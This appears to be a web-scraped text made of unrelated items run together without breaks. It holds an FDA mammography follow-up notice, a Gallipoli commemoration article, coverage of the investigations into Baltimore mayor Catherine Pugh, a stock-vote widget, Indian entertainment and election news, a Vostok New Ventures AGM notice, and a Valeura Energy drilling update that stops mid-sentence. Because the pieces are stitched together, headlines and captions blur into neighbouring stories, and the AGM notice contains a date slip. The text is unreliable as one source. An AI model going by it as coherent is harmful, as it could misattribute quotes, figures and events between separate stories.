recommends the following for patients who had a mammogram(s) at East Palestine Family Medical Clinic on or after March 28, 2017: If you have had a more recent mammogram at a different Mammography Quality Standards Act-certified facility since then, you should follow the recommendations from that facility. If you have not had a mammogram at a different Mammography Quality Standards Act-certified facility since then, follow these guidelines: Consider requesting your mammogram(s) and copies of your medical reports from East Palestine Family Medical Clinic, and have your mammogram(s) reviewed at another Mammography Quality Standards Act-certified facility to determine whether a repeat mammogram or additional medical follow-up is needed. A database of Mammography Quality Standards Act-certified facilities in your area is available online, or you can call the National Cancer Institute's information number at 1-800-422-6237 to find a Mammography Quality Standards Act-certified facility in your area. FDA Activities The FDA will continue to monitor this issue and keep the public informed as new information becomes available. Contact Information If you have questions about this communication, please contact the Mammography Quality Standards Act Hotline by phone: 1-800-838-7715, email: MQSAhotline@versatechinc.com or fax: 1-443-285-0689. Turkey joined the world marking a pivotal moment in its history this week, with dawn ceremonies yesterday marking the anniversary of the nations military victory at Gallipoli. The Ottoman Empire was already in decline 104 years ago when allied forces led by troops from Australia and New Zealand landed at Cannakale in 1915. Their mission was simple; to take Turkey out of the First World War by pushing inland and marching on to Constantinople modern-day Istanbul opening up the Black Sea to the navy and severing Germanys links with a well-resourced ally. Survival But a campaign which was meant to bring a swift end to the conflict took no account of the tenacity of soldiers fighting for the very survival of their homeland. The battle descended into a bloody stalemate, with trench warfare every bit as brutal as Flanders fields claiming thousands of lives on both sides. In the end, the allied forces could take no more punishment and withdrew. Ottoman commander Mustafa Kemal claimed a victory which was to influence his destiny as father of the modern Turkish Republic and, later, as its leader, Ataturk. But it was a costly victory nonetheless both for the Ottoman forces and for the Australian and New Zealand Army Corps (ANZAC) who developed both respect for each other during the fighting and a sense of brotherhood in the years that followed. The Canakkale Martyrs Memorial commemorating hundreds of thousands of soldiers killed during the World War I Battle of Gallipoli. (AA Photo) Dawn ceremonies Dawn ceremonies are now held all over the world to remember the ANZAC fallen but perhaps the most significant event is held at the battle site itself, where thousands gather every year to honour the dead from all sides. Minister of Culture and Tourism Mehmet Nuri Ersoy represented the Turkish Government this week while British Chief of General Staff, General Sir Mark Carleton-Smith, spoke on behalf of the allied forces represented at this years ceremony. Ultimately despite the victory over the worlds most advanced armies at the time Gallipoli did not have a bearing the outcome of the Great War. Under Ataturks influence, Turkey chose to surrender when it became increasingly evident that Germanys cause was lost and fighting on would simply deplete the countrys resources for no apparent gain. Nevertheless, it did invoke a significant sense of national pride and came to represent the stoicism and determination of the Turkish people and helped to underpin Ataturks reputation as the true leader of a country on the brink of a new era. His own words have also come to represent the sense of reconciliation between the nations which fought at Gallipoli: Those heroes that shed their blood And lost their lives. You are now lying in the soil of a friendly country. Therefore rest in peace. There is no difference between the Johnnies And the Mehmets to us where they lie side by side Here in this country of ours. You, the mothers, Who sent their sons from far away countries Wipe away your tears, Your sons are now lying in our bosom And are in peace After having lost their lives on this land they have Become our sons as well. Mustafa Kemal Ataturk Photo: The Canadian Press Baltimore Mayor Catherine Pugh addresses a gathering during the annual meeting of the U.S. Conference of Mayors in Boston. Supporters of Baltimore's embattled mayor have gone quiet as demands for her resignation intensify following raids of her offices, her homes and other locations by teams of federal investigators carting out boxes of evidence. Her lawyer said she'll decide what to do once she's "lucid." The strongest voice calling for Mayor Catherine Pugh's immediate resignation is Republican Gov. Larry Hogan, who didn't mince words after the early Thursday raids: "Mayor Pugh has lost the public trust. She is clearly not fit to lead." Many of her fellow Democrats, including those on Baltimore's demoralized City Council and state lawmakers, are insisting that the first-term mayor put the citizens' interests above any attempt to preserve her political career. In the latest image-tarnishing scandal for struggling Baltimore, investigators with the FBI and IRS have joined state and local probes of children's book deals that earned her roughly $800,000 over the years. She sold the self-published paperbacks to customers she could benefit as a government official, including a hospital network she helped oversee and a major health plan that does business with the city. With her political alliances now crumbled, her lawyer insists the 69-year-old Pugh is in such a fragile state physically and so "extremely emotionally distraught" that she's simply not in a position to immediately make decisions about the future. Attorney Steven Silverman said Pugh has "several options" and will make some kind of decision, perhaps next week. "She just needs to be physically and mentally sound and lucid enough to make appropriate decisions," Silverman told reporters Thursday outside a residence belonging to Pugh that just hours before had been the site of a vigorous early-morning search by a team of federal agents. As for the accusations that Pugh might have accepted book payments as kickbacks for favourable treatment as a state lawmaker and city leader, Silverman stressed that the mayor is entitled to the presumption of innocence. "Whether it's an ethical breach or something illegal, that process needs to be worked out," he said. Pugh called her no-contract book deals a "regrettable mistake" at a hastily organized press conference and then slipped out of sight on April 1, just as the governor called on the state prosecutor to investigate allegations of "self-dealing." Aides said the avid runner's health deteriorated so intensely after a bout of pneumonia that she could not respond while on an indefinite leave of absence. Many others have been less charitable about the no-contract arrangements involving her "Healthy Holly" limited liability company. As a state senator, Pugh sold $500,000 worth of the illustrated paperbacks to the University of Maryland Medical System, a major state employer on whose board she sat for nearly 20 years. She also made $300,000 in bulk sales to other customers including two health carriers that did business with the city of Baltimore. Maryland's chief accountant called Pugh's "self-dealing" book deals "brazen, cartoonish corruption." FBI and IRS agents searched her two Baltimore homes, her City Hall offices, and a non-profit organization she once led. The home of at least one aide was also scoured. Federal agents also served a subpoena at Silverman's city law firm Thursday morning, retrieving Pugh's original financial records. They did not seek any attorney-client privileged communications, Silverman said. University of Maryland Medical System spokesman Michael Schwartzberg said the medical system received a grand jury witness subpoena seeking documents and information related to Pugh. With the federal case now joining a public corruption probe by the state prosecutor's office and reviews by the city ethics board and the Maryland Insurance Administration, political analysts said Pugh's biggest bargaining chip may be her refusal to resign. City Council member Brandon Scott said an exhausted Baltimore has had enough. He reiterated the council's unanimous demand for her resignation, calling the spectacle of the Thursday raids "an embarrassment to the city." Yet only a conviction can trigger a mayor's removal from office, according to the city solicitor. Baltimore's mayor-friendly City Charter currently provides no options for ousting its executive. Category Select Category Apparel/Garments Textiles Fashion Technical Textiles Information Technology E-commerce Retail Corporate Association Press Release SubCategory Select Sub-Category There is not enough analysis data for Bahamas Petroleum. 4.0 Community Rank Outperform Votes Bahamas Petroleum has received 157 outperform votes. (Add your outperform vote.) Underperform Votes Bahamas Petroleum has received 103 underperform votes. (Add your underperform vote.) Community Sentiment Bahamas Petroleum has received 60.38% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Bahamas Petroleum and other stocks. Vote Outperform if you believe BPC will outperform the S&P 500 over the long term. Vote Underperform if you believe BPC will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next Noted Bollywood actor Anupam Kher Thursday said the opposition's agenda was only to remove Prime Minister Narendra Modi from office and it does not talk about its blueprint or vision for the country. Exuding confidence in Modi's leadership, he said that under the prime minister the country was moving forward. "I have been living in America for the past nine months but I can see from social media and also sense that there is a wave in the prime minister's favour," said the actor, who accompanied his wife Kirron Kher for filing of nomination papers from the Chandigarh constituency. "Unfortunately, there is not much credibility with the other people (the opposition) except that they only talk about removing Mr Modi... They don't talk about what is their blueprint, what is their vision about India. They don't talk about what needs to be done or what they think they will do, rather their agenda is limited to removing Modi," he told PTI. He said there was a difference between a doer and criticiser and everybody wants a doer in this era. "Fine, in a democratic country you have the opposition but they need to give a (vision) of the road ahead," the actor said. About his MP wife, Kher said she has done remarkable work in five years. "She left her family and home in Mumbai and settled here for last four-and-a-half years..the party has given her a second chance on the basis of her work," he said. Kirron Kher has been pitted against former Union minister and Congress leader Pawan Kumar Bansal and AAP's Harmohan Dhawan. Earlier in the day, the BJP MP held a roadshow, which was attended by Uttarakhand Chief Minister Trivendra Singh Rawat, Haryana minister Capt Abhimanyu and city BJP president Sanjay Tandon. A Fan Threw Her Bra At Nick Jonas In Front Of Priyanka Chopra & Her Reaction Is UNEXPECTED! (PTI News) Nayana Gets Hitched Nayana got married to Sharath in Dharmastala, in the presence of family and close friends. They held a small reception in Bangalore later, which was attended by Comedy Kiladigalu winner Shivaraj. Have a look at the picture above. Nayana's Journey Nayana, is one such female actress who became a fans' favorite immediately after her appearance on the small screen. Apparently, she gave her auditions for Comedy Khiladigalu on her birthday when her friends asked her to go out with them instead. Her journey as a comedian began that day. Umashree Of Small Screen In one of her performances on the show, she acted as the Sandalwood comedy actress Umashree, in which she played the role of a mother-in-law. This went viral within no time and people began referring to her as the Umashree of television. Enters Sandalwood After gaining immense recognition on the small screen, Nayana landed offers from the Kannada film industry, too. She was last seen in Nikhil Kumar's Seetharama Kalyana. It has been confirmed that Nayana will be acting in KGF 2. Nayana Faced A Lot Of Rejections However, Nayana had a tough start in the industry. She was rejected several times for sporting an unconventional appearance. However, she never let these rejections come in the way of her talent. Today, she is one of the most desired Kannada comedians. Sana & Melvin Approached For Nach Baliye Apparently, Sana and Melvin have been dating since the last four months. The duo was approached to feature as a couple in the dance reality show, Nach Baliye. When Sana Met Melvin! Talking to Mirror, Sana revealed that she had never trained in dance and she contacted Melvin last September. They shot a dance video together which was all very professional. But the cupid struck them when they went for dinner! When Cupid Struck Sana & Melvin! The actress was quoted by the leading daily as saying, "One day, out of the blue, we went for dinner and Cupid struck! We started meeting more often and realised we liked each other. We have now decided to announce the relationship to stop speculation." Is Marriage On Cards? She further added, "He is a soulmate really... I was delighted that my mother was so understanding. We have met each other's families and now are planning a joint meeting with both sides so we can take things ahead." Well, this makes us wonder whether the marriage is on the cards. You Make Me A Better Person On Melvin's birthday Sana shared few posts praising her love. She wrote, "I never knew I could love someone this much until I met you. Some people search their whole lives to find what I found in you I fall for you every day every minute. You make me a better person mel there are so many good things I m learning frm you every single day " Im Super Lucky To Have You In My Life She further wrote, "Words will never be enough to express my love n gratitude towards too I m super lucky to have you in my life. Thank you for choosing me I love you forever Happy Birthday my love ." I Fell In Love With You Because Of The Million Things Sharing another picture, the actress wrote, "I fell in love with you because of the million things you never knew you were doing #merasabkuch #melvinlouis #sanakhan #birthdayboy #loveyou." Sana & Melvin Sana captioned another romantic selfie, "If I did anything right in my life , it was when I gave my heart to u " The couple looked adorable while twinning in black! Stockholm, April 26, 2019 (GLOBE NEWSWIRE) -- Notice is hereby given to the holders of depository receipts in respect of shares in Vostok New Ventures Ltd, reg. no. 39861, with registered office in Hamilton, Bermuda ("Vostok New Ventures" or the "Company") that an Annual General Meeting (the "Meeting") of shareholders shall be held on Wednesday, 15 May 2019 at 2 pm CEST in "Kreugersalen" at Tandstickspalatset, Vastra Tradsgardsgatan 15 in Stockholm, Sweden. Notice to attend etc. Holders of depository receipts wishing to attend the Meeting shall: be listed in the register of holders of depository receipts kept by Euroclear Sweden AB on Thursday, 9 May 2019; and notify the Company of the intention to attend the Meeting not later than Thursday, 9 May 2019 by mail at the address Computershare AB, Vostok New Ventures Ltd Annual General Meeting, Box 610, SE-182 16 Danderyd, Sweden, by telephone +46 (0)771-24 64 00 or by e-mail to agm@vostoknewventures.com. The holder of depository receipts shall state his or her name, personal or company identification number, address as well as telephone number. If a holder of depository receipts intends to be represented by proxy, the name of the proxy holder shall be stated. Information submitted in connection with the notification will be computerised and used exclusively for the Meeting. See below for additional information on the processing of personal data. Holders of depository receipts represented by proxy shall issue dated and signed power of attorney for the proxy. If the power of attorney is issued on behalf of a legal entity, a certified copy of a registration certificate or a corresponding document for the legal entity shall be appended. The power of attorney in original and, where applicable, the registration certificate should be submitted to the Company by mail at the address set forth above well in advance of the Meeting. The form to use for a power of attorney can be found on www.vostoknewventures.com. Holders of depository receipts who hold their receipts through nominees (Sw. forvaltare) must request a temporary registration of the voting rights in order to be able to participate at the Meeting. Holders of depository receipts who want to obtain such registration must contact the nominee regarding this well in advance of Thursday, 9 May 2019. Voting forms will be distributed to the holders who have complied with the above requirements and the voting form must be brought to the Meeting. Proposed agenda Election of Chairman for the Meeting. Preparation and approval of voting list. Approval of the agenda. Election of one or two persons to check and sign the minutes. Resolution that the Meeting has been duly convened. Presentation by the Managing Director. Presentation of the annual report and the auditor's report as well as the consolidated annual report and the consolidated auditor's report. Resolution in respect of the adoption of the profit and loss account and the balance sheet as well as the consolidated profit and loss account and the consolidated balance sheet; and the appropriation of the Company's results according to the adopted balance sheet. Determination of the number of Directors and auditors. number of Directors number of auditors Determination of remuneration to the Directors and the auditors. remuneration to the Directors remuneration to the auditors Election of Directors and auditors. election of auditors election of Directors and Chairman of the Board of Directors Resolution to appoint the Nomination Committee. Resolution regarding remuneration principles for the senior management. Resolution regarding long-term incentive program. Resolution to amend the Company's Bye-Laws. Resolution to cancel the incentive program adopted in 2007. Resolution to cancel the 2010 Incentive Program. Closing of the Meeting. Chairman for the Meeting (item 1) The Nomination Committee, consisting of Jake Hennemuth (Ruane Cunniff & Goldfarb), Evert Carlsson (Swedbank Robur Fonder), Marcus Luttgen (Alecta) and Lars O Gronstedt (chairman of the Board of Directors) as adjunct member proposes that Jesper Schonbeck, member of the Swedish Bar Association, is elected as Chairman for the Meeting. The appropriation of the Company's results (item 8b) The Board of Directors proposes that no dividend is paid to the shareholders and that the Company's results are brought forward. Determination of the number of Directors and auditors (item 9) The Nomination Committee proposes that: the Board of Directors, for the period until the end of the next annual general meeting, shall consist of six (6) members without any deputy members. the Company's auditors comprise one (1) registered audit company. Determination of remuneration to the Directors and the auditors (item 10) The Nomination Committee proposes that: a Board remuneration, for the forthcoming period of office, be awarded in the amount of USD 479,000, of which USD 155,000 shall be allocated to the Chairman of the Board and USD 75,000 to each of the other directors who are not employed by the Company. In addition, it is proposed that a total of USD 24,000 be awarded for work on Board Committees, of which USD 6,000 to each of two members of the Audit Committee and USD 6,000 to each of two members of the Compensation Committee. It is proposed that the Board in its entirety continue to constitute the Investment Committee. the auditors, for the forthcoming period of office, be remunerated in accordance with their approved invoice. Election of Directors and auditors (item 11) Item 11(a) The Nomination Committee proposes that the Company's auditor, the registered audit company PricewaterhouseCoopers AB, be re-elected until the end of the next Annual General Meeting. Item 11(b) - Proposal from Ruane Cunniff & Goldfarb The Nomination Committee has not arrived at a joint proposal regarding election of the Directors and Chairman of the Board. Ruane Cunniff & Goldfarb proposes, for the period until the end of the next Annual General Meeting, the re-election of all the current Directors 11(b) 1 Lars O Gronstedt; 11(b) 2 Josh Blachman; 11(b) 3 Per Brilioth; 11(b) 4 Victoria Grace; 11(b) 5 Ylva Lindquist; 11(b) 6 Keith Richman; and that 11(b) 7 Lars O Gronstedt be appointed Chairman of the Board of Directors. For information about the current Directors proposed for re-election, please see the Company's website, www.vostoknewventures.com. Nomination committee (item 12) The Nomination Committee proposes that the annual general meeting shall resolve to adopt principles for the appointment of a Nomination Committee for the annual general meeting 2020 in accordance with the following. A Nomination Committee shall be established consisting of representatives from the three largest holders of depository receipts in the Company. The ownership shall be based on the statistics from Euroclear Sweden AB over holders of depository receipts as per the last business day in August 2019. The names of the members of the Nomination Committee shall be announced as soon as they have been appointed, which shall take place no later than six months prior to the annual general meeting in 2020. In case of a material change in ownership prior to completion of the work to be performed by the Nomination Committee, the Nomination Committee shall be able to decide upon a change of the composition of the Nomination Committee. The Nomination Committee's mandate period extends up to the appointment of a new Nomination Committee. The Nomination Committee shall appoint a Chairman among its members. If the representatives cannot agree upon appointment of Chairman, the representative representing the holder of depository receipts with the largest number of votes shall be appointed as Chairman. The Nomination Committee shall prepare proposals for the following decisions at the Annual General Meeting in 2020: (i) election of the Chairman for the Meeting, (ii) election of directors, (iii) election of the Chairman of the Board of directors, (iv) remuneration to the directors, (v) election of the Company's auditors and (vi) compensation to the Company's auditors, and (vii) proposal for how to conduct the nomination process for the Annual General Meeting in 2021. Remuneration principles for the senior management (item 13) The Board of Directors proposes that the Meeting resolves to approve the following management remuneration principles etc. The remuneration to the Managing Director and other members of the senior management shall consist of fixed salary, variable remuneration, other benefits and pension benefits. Except for the Managing Director, the senior management currently includes two individuals. The total remuneration shall correspond to the prevailing market conditions and be competitive. The fixed and variable remuneration shall correspond to the respective individual's responsibility and authority. The variable component should, in the first instance, be covered within the parameters of the Company's Long-Term Incentive Programs and shall, where payable in other instances, be related to milestone accomplishments of the Company and/or its portfolio investments, e.g. particularly successful investments, exits or similar events. The period of notice of termination of employment shall be three to six months in the event of termination by the member of the senior management. In the event of termination by the Company, the total of the period of notice of termination and the period during which severance compensation is payable shall not exceed 12 months. Pension benefits shall be contribution-based with individual retirement ages. The Board of Directors shall be entitled to deviate from these guidelines in individual cases should special reasons exist. Resolution regarding long-term incentive program (item 14) The Board of Directors proposes that the Meeting resolves on long-term incentive program for up to seven (7) employees in Vostok New Ventures Ltd ("LTIP 2019") in accordance with the below. LTIP 2019 is a three-year performance-based incentive program which is substantially the same as the depository receipt-based incentive program from 2018 ("LTIP 2018"). Adoption of an incentive program Summary of the program The Board of Directors proposes that the general meeting resolves to adopt LTIP 2019. LTIP 2019 is proposed to include up to seven (7) employees in Vostok New Ventures. The participants in LTIP 2019 are required to invest in Vostok New Ventures by acquiring shares in the form of depository receipts in Vostok New Ventures ("Saving DRs"). These Saving DRs are received by way of purchase of depository receipts (representing shares in Vostok New Ventures) at market value or transfer of depository receipts that such participant already holds in accordance with the terms set out under "Personal investment" below. The participants will thereafter be granted the opportunity to receive depository receipts free of charge in accordance with LTIP 2019, so called "Performance DRs" in accordance with the terms set out below. In the event that delivery of Performance DRs cannot be achieved at reasonable costs, with reasonable administrative efforts or due to market conditions, participants may instead be offered a cash-based settlement. Personalinvestment In order to participate in LTIP 2019, the participant must have made a private investment by (i) purchase of depository receipts (representing shares in Vostok New Ventures) at market value and for a value of up to SEK 1,425,0001 depending on the participants' position in Vostok New Ventures in accordance with what is further described below, or (ii) by transfer of depository receipts that such participant already holds (provided that the participant holds at least 100% of annual net base pay in depository receipts) for a value of up to SEK 1,425,0002 depending on the participants' position in Vostok New Ventures in accordance with what is further described below. For each Saving DR held under LTIP 2019, the Company will grant the participants ten rights to Performance DRs, meaning rights to receive Performance DRs free of charge ("Rights"). The number of Performance DRs each participant's Saving DRs entitles to depends on the Company's fulfilment of the performance conditions. A participant cannot receive more than ten Performance DRs per Saving DR. The maximum amounts for the personal investments are based on an assumed market price of Vostok New Ventures' depository receipts of SEK 57. The market price of the depository receipts may have increased or decreased by the time of the personal investment and the Board of Directors is authorised to change the maximum amount of the personal investment to take into account any material changes to the price of Vostok New Ventures' depository receipts, in order to give as positive effects as possible for depository receipt holders in the Company. General terms and conditions Subject to the fulfilment of the entry level of the performance based conditions for the period 1 January 2019 to 31 December 2021 and provided that the participant has kept its investment in Saving DRs during the period from the day of allocation of the Rights until the day of the release of the interim report for the period 1 January to 31 March 2022 (the vesting period) and, with certain exceptions, kept its employment within the Vostok New Ventures group and not given notice of termination at such point in time, two Rights per Saving DR will vest and each Rights will entitle the participant to receive one Performance DR free of charge. Retention and performance conditions The number of Performance DRs each of the participant's Saving DR entitles to depends on the Company's fulfilment of the performance conditions during the measurement period. The performance conditions are based on the Net Asset Value per share ("NAV per share"). The determined levels of the conditions include an entry, a target and a stretch level as regards the number of Rights that vest. The entry level constitutes the minimum level which must be exceeded in order to enable vesting of Rights. If the entry level is reached or exceeded, each participant will receive two Performance DRs per Saving DR. If the target level is reached or exceeded, each participant will receive five Performance DRs per Saving DR. If the stretch level is reached or exceeded, each participant will receive ten Performance DRs per Saving DR. The Board of Directors intends to disclose the outcome of the performance-based conditions in the annual report for the financial year 2021. The Rights The Rights shall be governed by the following terms and conditions: Rights are granted free of charge as soon as possible after the annual general meeting 2019. Vest following the publication of the Company's interim report for the period 1 January - 31 March 2022 (the vesting period). May not be transferred or pledged. Two Rights per Saving DR will vest and each Right will entitle the participant to receive one Performance DR after the end of the vesting period, if the entry level of the performance-based conditions has been fulfilled and the participant, at the time of the release of the interim report for the period 1 January - 31 March 2022, maintains its employment within the Vostok New Ventures group, has not given notice of termination and maintains the invested Saving DRs. In order to align the participants' and the depository receipt holders' interests, the Company will compensate the participants for any dividends paid during the three year vesting period. Compensation will only be made for dividend resolved after the time of allocation. Preparation and administration The Board of Directors shall be responsible for preparing the detailed terms and conditions of LTIP 2019, in accordance with the mentioned terms and guidelines. To this end, the Board of Directors shall be entitled to make adjustments to meet foreign regulations or market conditions. The Board of Directors may also make other adjustments if significant changes in the Vostok New Ventures group or its operating environment would result in a situation where the decided terms and conditions of LTIP 2019 no longer serve their purpose. Allocation The participants are divided into different categories and in accordance with the above, LTIP 2019 will comprise the following number of Saving DRs and maximum number of Rights for the different categories: the CEO: may acquire up to SEK 1,425,000 worth of Saving DRs 3 within LTIP 2019, entitling the holder to allotment of not less than two and up to ten Rights per Saving DR; within LTIP 2019, entitling the holder to allotment of not less than two and up to ten Rights per Saving DR; other members of management than the CEO (two individuals) and other employees (four individuals): may acquire in aggregate up to SEK 1,596,000 worth of Saving DRs4 within LTIP 2019, entitling the holder to allotment of not less than two and up to ten Rights per Saving DR. Scope and costs of LTIP 2019 LTIP 2019 will be accounted for in accordance with IFRS 2 which stipulates that the Rights should be recorded as a personnel expense in the income statement during the vesting period. The costs for LTIP 2019 is estimated to amount to approximately SEK 15 million, excluding social security costs, calculated in accordance with IFRS 2. The costs for social security charges are calculated to approximately SEK 4.75 million, based on the above assumptions. In addition to what is set forth above, the costs for LTIP 2019 have been based on that LTIP 2019 comprises up to seven participants and that each participant makes a maximum investment. If the maximum result is reached, and all invested Saving DRs are retained under LTIP 2019 and a fulfilment of the performance conditions of 100 percent, the maximum cost of LTIP 2019 as defined in IFRS 2 is approximately SEK 30 million and the maximum social security cost is estimated to approximately SEK 9.5 million. The costs are expected to have a marginal effect on key ratios of the Vostok New Ventures group. Upon maximum allotment of Performance DRs, 530,000 depository receipts representing shares in the Company may be allocated within the framework of LTIP 2019, which would correspond to approximately 0.68 percent of the share capital and the votes in the Company. A total of 147,000 depository receipts, comprising the currently allocated options under the 2010 Incentive Program (which currently encompasses in total 147,000 allocated options and 2,931,696 options that have not been allocated), 316,050 depository receipts under LTIP 2016, the maximum allotment of 661,500 depository receipts under LTIP 2017, the maximum allotment of 749,700 depository receipts under LTIP 2018 and the maximum allotment of 530,000 depository receipts under LTIP 2019, would correspond to approximately 3.095 percent of the share capital and the votes in the Company. Delivery of Performance DRs under LTIP 2019 To ensure delivery of Performance DRs under LTIP 2019, the Company intends to hedge LTIP 2019 with either repurchased depository receipts, enter into a swap agreement or other similar agreement with a third party or by taking other measures deemed necessary by the Company. The rationale for the proposal The objective of LTIP 2019 is to create incentives for the management to work for a long-term development in the Company. Furthermore, LTIP 2019 shall create conditions for retaining competent employees in the Vostok New Ventures group through the offering of competitive remuneration. LTIP 2019 has been designed based on the view that it is desirable that employees within the group are depository receipt holders in the Company and that they see that working with a long-term horizon pays off. Participation in LTIP 2019 requires a personal investment in Saving DRs. By offering an allotment of Performance DRs which are based performance-based conditions, the participants are rewarded for increased depository receipt holder value. Further, LTIP 2019 rewards employees' loyalty and long-term value growth in the Company. Against this background, the Board of Directors is of the opinion that the adoption of LTIP 2019 will have a positive effect on the Vostok New Ventures group's future development and thus be beneficial for both the Company and its depository receipt holders. Preparation The Company's Board of Directors has prepared LTIP 2016, 2017 and 2018, on which LTIP 2019 is based, in consultation with external advisors. LTIP 2019 has been reviewed and determined by resolution by the Board of Directors on 14 March 2019. Other incentive programs in the Company Below are summaries of the current outstanding incentive programs in the Company. For more information about the incentive programs, please see the annual report 2018. 2010 Incentive Program The 2010 Annual General Meeting decided in accordance with the proposal from the Board of Directors to adopt an incentive program entitling present and future employees to be allocated call options to acquire shares represented by depository receipts in Vostok New Ventures. The program covers present and future employees. A total of 5,115,600 options were authorized under the program. A total of 147,000 options are currently allocated. The option life is 7 June 2016 - 31 July 2019 and the exercise period is 1 June - 31 July 2019. If all options are exercised a total of 147,000 depository receipts could be allocated, which would correspond to approximately 0.19 percent of the share capital and the votes in the Company. LTIP 2016 At the 2016 annual general meeting held on 17 May 2016, it was resolved to implement a share-based long-term incentive program for management and key personnel in the Vostok New Ventures group. The program ran from 1 January 2016 through 31 March 2019 and encompassed a maximum of 430,000 shares. Program participants purchased shares in the Company, and for each purchased share were entitled to receive a number of additional shares, so-called performance shares, free of charge, subject to fulfilment of a performance condition set by the Board of Directors on the basis of the Company's Net Asset Value per share. The Board of Directors has determined that the development of the Company's Net Asset Value per share over the term of LTIP 2016 (January 1, 2016 through December 31, 2018), meets the so-called target level, whereby each savings share held by program participants throughout the vesting period (until the day of release of the Company's interim report for the period January 1 through March 31, 2019) will result in an allocation of five performance shares free of charge, which will correspond to 316,050 shares and a dilution of approximately 0.41 percent of the share capital and the votes in the Company. LTIP 2017 At the 2017 annual general meeting held on 16 May 2017, it was resolved to implement a share-based long-term incentive program for management and key personnel in the Vostok New Ventures group. The program runs from 1 January 2017 through 31 March 2020, and encompasses a maximum of 661,500 shares, corresponding to a dilution of 0.85 percent of the total number of shares outstanding at the time of adoption of the program. Program participants purchase shares in the Company, and for each purchased share is entitled to receive a number of additional shares, so-called performance shares, free of charge, subject to fulfilment of a performance condition set by the Board of Directors on the basis of the Company's Net Asset Value. LTIP 2018 At the 2017 annual general meeting held on 16 May 2018, it was resolved to implement a share-based long-term incentive program for management and key personnel in the Vostok New Ventures group. The program runs from 1 January 2018 through 31 March 2021, and encompasses a maximum of 749,700 shares, corresponding to a dilution of 0.96 percent of the total number of shares outstanding at the time of adoption of the program. Program participants purchase shares in the Company, and for each purchased share is entitled to receive a number of additional shares, so-called performance shares, free of charge, subject to fulfilment of a performance condition set by the Board of Directors on the basis of the Company's Net Asset Value. Resolution to amend the Company's Bye-Laws (item 15) The Board of Directors proposes an amendment to the Company's Bye-Laws, whereby the name of the Company as stated in the Bye-Laws is changed from "Vostok Nafta Investment Ltd" to "Vostok New Ventures Ltd", in order to reflect the name change effected by the Company in 2015. With reference to the above, the Board of Directors proposes that section 1.1 of the Bye-Laws, referring to the definition of "Company", shall read as follows: "Company" The company with the name Vostok Nafta Holding Investment Ltd incorporated in Bermuda on the 10th day of April 2007 and subsequently renamed Vostok Nafta Investment Ltd and later Vostok New Ventures Ltd; Furthermore, the first page of the Bye-Laws shall read as follows: Amended and restated Bye-Laws of Vostok New Ventures Ltd Resolution to cancel the incentive program adopted in 2007 (item 16) At an Extra General Meeting held on 29 August 2007, an incentive program was adopted under which the Company could issue and transfer call options to members of the executive management and other employees related to investments in non-listed portfolio companies. By enabling the Company's employees to subscribe for call options of shares in portfolio companies, it was envisioned by the Board of Directors that opportunities would be created for employees to take part in future increases in value, in a similar mode as for individuals working within traditional private equity firms. The Board of Directors has noted that no call options have been granted under this incentive program and further assess that no call options are likely to be granted under this incentive program in the future. As such, the Board of Directors proposes that the incentive program adopted in 2007 is cancelled in its entirety. Resolution to cancel the 2010 Incentive Program (item 17) The 2010 Annual General Meeting decided in accordance with the proposal from the Board of Directors to adopt an incentive program entitling present and future employees to be allocated call options to acquire shares represented by depository receipts in Vostok New Ventures. The program covers present and future employees. A total of 5,115,600 options were authorized under the program. A total of 147,000 options are currently allocated. The option life is 7 June 2016 - 31 July 2019 and the exercise period is 1 June - 31 July 2019. The Board of Directors proposes that the 2010 Incentive Program is cancelled in its entirety following the expiry of the option life and exercise period of the currently allocated 147,000 options. Majority requirements Resolutions in accordance with the Board of Directors' proposal in respect of items 14, 16 and 17 requires support of shareholders representing not less than half of the votes cast as well as of the shares represented by depository receipts represented at the Meeting. Resolution in accordance with the Board of Directors' proposal in respect of item 15 requires support of shareholders representing not less than two thirds of the votes cast as well as of the shares represented by depository receipts represented at the Meeting. Miscellaneous The annual accounts and the auditors' report will be available at the office of the Company's Swedish subsidiary, Vostok New Ventures AB, at Master Samuelsgatan 1 in Stockholm, Sweden and on the Company's website www.vostoknewventures.com. Processing of personal data For information on how your personal data is processed, see the integrity policy that is available at Euroclear's webpage www.euroclear.com/dam/ESw/Legal/Privacy-notice-bolagsstammor-engelska.pdf. _______________________ April 2019 Pareto Securities AB The Board of Directors of Vostok New Ventures Ltd For further information please contact: Bjorn von Sivers, Investor Relations: +46 (0)8-545 015 50 This information is information that Vostok New Ventures Ltd. is obliged to make public pursuant to the EU Market Abuse Regulation. The information was submitted for publication, through the agency of the contact person set out above, at 08.00 CEST on April 26, 2019. 1 Corresponding to 25,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 2 Corresponding to 25,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 3 Corresponding to 25,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 4 Corresponding to 28,000 depository receipts based on an assumed price of SEK 57 per depository receipt. 5 Excluding the 2,931,696 options that have not been allocated and will not be allocated if the Meeting resolves in accordance with the Board of Directors' proposal under item 17. Including such options, the number of depository receipts would correspond to approximately 6.85 percent of the share capital and the votes in the Company. Attachment Drilling Success, Stimulation Programme Agreed, Focus on Flow-Testing CALGARY, AB / ACCESSWIRE / April 26, 2019 / Valeura Energy Inc. (TSX:VLE, LSE:VLU) ("Valeura" or the "Company"), the upstream natural gas producer focused on appraising and developing an unconventional gas accumulation in the Thrace Basin of Turkey in partnership with Equinor, is pleased to provide an operations update concerning its Basin Centered Gas Accumulation ("BCGA") appraisal programme. Highlights Devepinar-1 drilled to 4,796 metres with clear indications of over-pressured gas throughout the 1,066 metre gross column in the Teslimkoy and Kesan Formations Inanli-1 pressure measurements confirm the well is significantly over-pressured, and the reservoir stimulation and testing programme is expected to commence in late May With 11 vertical wells now demonstrating high-pressure gas around the basin, the focus for data acquisition and operations is shifting to continued stimulation and production testing of drilled wells Sean Guest, President and CEO Commented: "We are encouraged by the preliminary results we have seen from drilling and logging Devepinar-1. The data supports our play mapping and confirms that reservoir and over-pressured gas are present some 20 kilometres away from the Yamalik-1 and Inanli-1 wells. At this stage, we have nearly a dozen wells across the basin that demonstrate the presence of over-pressured gas and a laterally continuous objective reservoir. This basin is almost a half million acres in size and our recent penetrations have drilled up to a mile of continuous gross gas column. The scale of the resource is significant, and while we have a very good understanding of the basin's geology and the presence of over-pressured gas, we have as yet only partially stimulated and flow tested one exploration well, Yamalik-1. Our near-term focus is shifting squarely to production testing multiple zones across our new wells to understand the gas flow characteristics of our reservoir both 